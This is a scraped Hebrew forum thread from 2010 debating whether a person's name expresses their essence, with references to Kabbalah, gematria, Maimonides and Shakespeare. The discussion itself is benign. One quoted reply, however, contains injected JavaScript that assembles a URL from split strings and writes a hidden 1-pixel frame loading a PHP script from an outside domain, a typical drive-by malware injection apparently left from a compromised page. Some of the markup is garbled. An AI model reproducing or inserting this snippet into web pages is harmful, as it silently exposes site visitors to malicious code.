| נשלח ב-7/12/2010 00:09 |
 |
| |
| אליעזרט כתב: |  | שותף,
ברוך שובך. נניח שאני קונה תירוץ זה - אבל מה עורר את החשש הזה דווקא בזמנו של בעל קיצור השל"ה? |
|
אין לי מושג
|
|
|
|
| נשלח ב-7/12/2010 00:56 |
|
| |
שותף סוד
העלית את הטענה המעניינת כי "שמו של האדם הוא מהותו".
קשה לי להבין את האמירה הזו.
בין השאר בגלל שלא ברור לי איך אתה משתמש במילה "מהות".
בכימיה, למשל, מהותו של יסוד היא מספר הפרוטונים, הנייטרונים והאלקטרונים שלו, ויחד הם קובעים את תכונותיו.
אולם מהי "מהות" אצל אדם? האם יש הבדל בין מהות של אדם לאדם? במה באה מהות זו לידי ביטוי ובאיזה חלק מוכר לנו של האדם היא נמצאת, אם בכלל? אני מבין שמדובר במשהו "פנימי" יותר שממנו ינבעו תכונות נוספות.
יש לי קושי נוסף עם קביעה כזו כי אני סבור, אישית, כמו האקזיסטנציאליסטים, שמתכונתו של האדם שהוא אפשרות פתוחה, והכל פתוח לשינוי אצלו, כפי שהרמב"ם מנסה לשכנע את לומדיו.
אז אשמח אם תבאר יותר מהי אותה מהות. ובעיקר אם תוכל לתת דוגמאות למהויות, אולי מאופי של בני אדם ואולי מאישים ידועים בהיסטוריה (במיגבלה שניתן להכיר אנשים רק על פעולותיהם מבחוץ).
עוד אשמח אם תבהיר כיצד השם, כלומר צירוף אותיות מסויים שגם מן הסתם נשמע באופן מסויים, קשור למהות. אני משייך עצמי לאסכולה של הסבורים כי השם אינו קובע מאומה, וכי השושנה היתה בעלת ניחוח נעים גם אם היו קוראים לה בשם אחרת, נניח "חוחית" (המקור: שייקספיר). איך אם כן נוצר קשר בין השם ואותיותיו לבין מהות?
תודה מראש
(ואני שמח לראות שלא נואשת ואתה עדיין כאן. טול איקון ירוק מנפנף לשלום).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-7/12/2010 05:00 |
|
| |
| מיימוני כתב: | |
אז אשמח אם תבאר יותר מהי אותה מהות. ובעיקר אם תוכל לתת דוגמאות למהויות, אולי מאופי של בני אדם ואולי מאישים ידועים בהיסטוריה (במיגבלה שניתן להכיר אנשים רק על פעולותיהם מבחוץ).
עוד אשמח אם תבהיר כיצד השם, כלומר צירוף אותיות מסויים שגם מן הסתם נשמע באופן מסויים, קשור למהות. אני משייך עצמי לאסכולה של הסבורים כי השם אינו קובע מאומה, וכי השושנה היתה בעלת ניחוח נעים גם אם היו קוראים לה בשם אחרת, נניח "חוחית" (המקור: שייקספיר). איך אם כן נוצר קשר בין השם ואותיותיו לבין מהות?
תודה מראש
(ואני שמח לראות שלא נואשת ואתה עדיין כאן. טול איקון ירוק מנפנף לשלום). _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
מיימוני,
מנסיון העבר (העגמומי משהו) נראה לי שאני מוכן להיכנס איתך לכל דיון אבל בתנאי אחד- אל תיעלם. זה משגע לכתוב תגובה ולזרוק אותה לחלל הפורח, בלי לדעת אם ומתי תבוא לה תגובת נגד. אם אתה מבטיח לפחות תגובה אחת ליום (חוץ משישישבת) אני איתך בכל נושא. קדימה, נראה אם ומתי תענה על זה....
|
|
|
|
| נשלח ב-7/12/2010 08:28 |
|
| |
אני מחכה להסבר.
לגבי העתיד, עד כמה שזה בידי, אשתדל להיות נוכח לפחות פעם ביום כדי להגיב.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-7/12/2010 08:40 |
|
| |
והאידנא דאיניש הוו ליה כמה ניקי, מאן הוא מהותיה?
|
|
|
|
| נשלח ב-7/12/2010 10:31 |
|
| |
| מיימוני כתב: | | שותף סוד
העלית את הטענה המעניינת כי "שמו של האדם הוא מהותו".
קשה לי להבין את האמירה הזו.
בין השאר בגלל שלא ברור לי איך אתה משתמש במילה "מהות".
בכימיה, למשל, מהותו של יסוד היא מספר הפרוטונים, הנייטרונים והאלקטרונים שלו, ויחד הם קובעים את תכונותיו.
אולם מהי "מהות" אצל אדם? האם יש הבדל בין מהות של אדם לאדם? במה באה מהות זו לידי ביטוי ובאיזה חלק מוכר לנו של האדם היא נמצאת, אם בכלל? אני מבין שמדובר במשהו "פנימי" יותר שממנו ינבעו תכונות נוספות.
מהותו של האדם היא שליחותו. רצון הבורא הכללי בקיום ומהלך העולמות מתפרט לרצונות ספציפיים לכל נברא בנפרד כחלק מהמערכת השלימה. בקומת האדם (המורכבת מיחידה חיה נשמה רוח ונפש, שהן בחינת רצון מחשבה הרהור דיבור ומעשה) השליחות נמצאת ביחידה, ומשם מתפתחת והולכת עד מימושה בחלקים התחתונים של קומתו הרוחנית ובגופו הגשמי.
-
יש לי קושי נוסף עם קביעה כזו כי אני סבור, אישית, כמו האקזיסטנציאליסטים, שמתכונתו של האדם שהוא אפשרות פתוחה, והכל פתוח לשינוי אצלו, כפי שהרמב"ם מנסה לשכנע את לומדיו.
אז אשמח אם תבאר יותר מהי אותה מהות. ובעיקר אם תוכל לתת דוגמאות למהויות, אולי מאופי של בני אדם ואולי מאישים ידועים בהיסטוריה (במיגבלה שניתן להכיר אנשים רק על פעולותיהם מבחוץ).
היכולת של האדם להיות כמשה מחד או כירבעם מאידך היא באותה משבצת שמיועדת לו, כלומר האם ינצל את כוחותיו למימוש שליחותו המסויימת או יסרב לעשות כך. מהותו של משה היתה למשות את כלל ישראל ממצרים ולהכשירם לקבלת התורה, והוא עשה זאת בהצלחה. מהות ירבעם היתה להגיע לדרגת משיח בן יוסף כהכנה למלכות דוד והוא סרב לעשות זאת. משה לא היה יכול לעשות את שליחות ירבעם וירבעם לא יכול לעשות את שליחות משה. כל אחד נידון ע"פ שליחותו "מעשה איש ופקודתו".
עוד אשמח אם תבהיר כיצד השם, כלומר צירוף אותיות מסויים שגם מן הסתם נשמע באופן מסויים, קשור למהות. אני משייך עצמי לאסכולה של הסבורים כי השם אינו קובע מאומה, וכי השושנה היתה בעלת ניחוח נעים גם אם היו קוראים לה בשם אחרת, נניח "חוחית" (המקור: שייקספיר). איך אם כן נוצר קשר בין השם ואותיותיו לבין מהות?
חז"ל אומרים ש"שושנה" גימ' "אסתר", שהיא אחת משמות השכינה הקדושה. לכן משתמש שלמה בדימוי של שושנה דווקא בין החוחים, ולכן השושנה מתגלית כך בטבע.
לימוד מהות האותיות וצירופן זל"ז הוא מהסוגיות היותר נעלמות שבסוד, ומקורו בעיקר סביב ספר יצירה. |
|
|
|
|
|
|
| נשלח ב-7/12/2010 10:44 |
|
| |
שותף
דמי חנוכה
|
|
|
|
| נשלח ב-7/12/2010 10:52 |
|
| |
שותף, אשמח אם תענה לי לשאלה האם מכל הסבריך מוסקת המסקנה שאמירת פסוק המרמז שמו מסוגלת לזכור מהותו ביום הדין, ושהענין הזה הוא דבר חשוב ביותר. זו השאלה הראשונה. והשנית, אם אמנם זה דבר חשוב, האם זה הגיוני שעל ידי דבר קל כהזכרת פסוק ניתן להשיג דבר חשוב?
|
|
|
|
| נשלח ב-7/12/2010 11:12 |
|
| |
למיימוני
לפי התשובה שקיבלת-משה משה את העם אבל מה עם ירבעם האם הפך לרבע עם? ריבע את המעגל?-אין ממש תשובה...
השאלה הידועה שמתעוררת לגבי מדרש שמות היא איך קורה שמיליוני אנשים שיש להם שם משותף אז לכאורה היה צריך לראות איזשהו דמיון בינהם .
כמו שמשה משה את העם הרי לפי זה כל משה צריך למשות וכל יעקב צריך לעקב וכל יצחק צריך להיות קשור בצחוק... אחרי הכל בעלי שם משותף צריכים הרילהיות נשמות תאומות ותואמות לפחות כמו תאומים זהים.-אבל במציאות נראה בברור שמהותם של היעקובים ומהותם של היצחקים שונהאיש מרעהו וגורלם שונה ואין שום דמיון ביניהם.
|
|
|
|
| נשלח ב-7/12/2010 11:44 |
|
| |
| פרספקטיבה כתב: | | | שותף, אשמח אם תענה לי לשאלה האם מכל הסבריך מוסקת המסקנה שאמירת פסוק המרמז שמו מסוגלת לזכור מהותו ביום הדין, ושהענין הזה הוא דבר חשוב ביותר. זו השאלה הראשונה. והשנית, אם אמנם זה דבר חשוב, האם זה הגיוני שעל ידי דבר קל כהזכרת פסוק ניתן להשיג דבר חשוב? |
|
אין לי קשר לסגולה הזאת. אני עניתי למיימוני על שאלותיו.
|
|
|
|
| נשלח ב-7/12/2010 11:50 |
|
| |
כמה- אנשים ונשים בשם- שמחה והם בעלי מרה שחורה
כמה נשים בשם מזל - מסכנות- כמה נשים בשם יפה -בלומה שיינה וכד- והם נראות נו -כמה טובות גיטות והם מרשעות. כמה אנשים בשם צבי והם הולכים לאט ובכבדות- וכמה אנשים בשם אריה מתנהגים כמו שפנים, כמה דוב ים יש והם שועלים. וכוכ'
אבל השמות קובעים את אופיו ומזלו של האדם הגמרא גם אומרת השם גורם
|
|
|
|
| נשלח ב-7/12/2010 12:07 |
|
| |
נראה לי שהניק יותר משקף את האדם מאשר השם, כי את הניק הוא בחר.
|
|
|
|
|
